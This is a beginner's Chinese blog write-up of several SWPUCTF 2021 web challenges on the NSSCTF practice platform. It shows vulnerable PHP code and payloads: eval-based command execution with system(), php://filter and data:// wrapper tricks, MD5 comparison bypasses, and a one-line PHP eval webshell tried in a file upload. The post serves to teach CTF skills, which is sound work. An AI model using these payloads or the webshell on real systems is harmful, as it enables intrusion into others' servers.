【NSSCTF】刷题记录——[SWPUCTF 2021 新生赛]系列(WEB篇)

新手小白,开启CTF刷题之路(持续更新)

此处主要在NSSCTF平台(NSSCTF | 在线CTF平台)上开展刷题

[SWPUCTF 2021 新生赛]gift_F12

环境打开如下:

根据题目提示,直接F12看源码

 flag get

 [SWPUCTF 2021 新生赛]easyrce

打开环境后,显示源码如下

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>

审查源码可知,要求传入参数url,构造payload如下

http://node1.anna.nssctf.cn:28985/?url=ls

返回如下,无回显

查询eval函数使用方法可知:eval — 把字符串作为PHP代码执行,因此需要在eval函数内构造包含系统函数的PHP语句,据此,构造payload 

http://node1.anna.nssctf.cn:28985/?url=system("ls");

测试结果

现在就是找flag了,再次构造payload,利用Linux特性,使用;号并行执行命令开展测试,直至发现疑似flag的文件

http://node1.anna.nssctf.cn:28985/?url=system(%22cd%20..;cd%20..;cd%20..;ls%22);

 构造payload查看flllllaaaaaaggggggg

http://node1.anna.nssctf.cn:28985/?url=system(%22cd%20..;cd%20..;cd%20..;cat%20flllllaaaaaaggggggg%22);

 flag get

[SWPUCTF 2021 新生赛]PseudoProtocols

 打开环境,显示如下:

根据题目PseudoProtocols,应该是采用伪协议读取hint.php,因此构造payload

http://node2.anna.nssctf.cn:28924/index.php?wllm=php://filter/read=convert.base64-encode/resource=./hint.php

执行回显如下:

出现的字符串丢进base64转码器解码,获得结果:

<?php
//go to /test2222222222222.php
?>

好家伙,还有一层,继续构造payload 

http://node2.anna.nssctf.cn:28924/index.php?wllm=test2222222222222.php

回显如下:

审查代码,发现要求传入参数a,且a通过file_get_contents函数值获取的值为I want flag时获得flag(注:file_get_contents函数 — 将整个文件读入一个字符串,使用语法为:file_get_contents(filename, include_path, context, start, max_length))。

那么,考虑使用PHP伪协议中的data协议传参(参考PHP伪协议_慕晨sekurlsa的博客-CSDN博客),因此构造payload如下:

http://node2.anna.nssctf.cn:28924/test2222222222222.php/?a=data://text/plain;base64,SSB3YW50IGZsYWc=

flag get

 [SWPUCTF 2021 新生赛]easy_md5

打开环境,代码如下:

<?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?>

审计代码,发现题目要求为,使用GET方式传入name参数,使用POST方式传入password参数,且两个参数值的md5值相等。

此题为典型的md5绕过,因此参考MD5绕过_H3rmesk1t的博客-CSDN博客

构造payload如下:

flag get

注,上个方法中,采用传入数组方式解题,因md5()函数在对数组进行编码时,会导致报错返回NULL值,故传参name[]=1和password[]=2使得两者md5值均为NULL。

方法二为采用科学计数法绕过。

PHP存在一种特性为,将科学计数法0e*****作为0计算,因此当两个参数经md5加密后,表现形式为0e开头时,两者即被认为相等,参考MD5 函数的绕过_md5绕过_菜菜zhao的博客-CSDN博客,分别构造payload如下:

执行后同样可以获得结果。

[SWPUCTF 2021 新生赛]easyupload1.0 

打开环境,显示如下:

尝试上传一句话木马:

<?php eval($_POST[1]);?>

虽然知道肯定不会这么简单,但,人嘛

果然啪啪打脸:

好吧,那就上个图片马,上传时使用BP抓包修改为PHP后缀试试:

然后提示文件太大了……

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值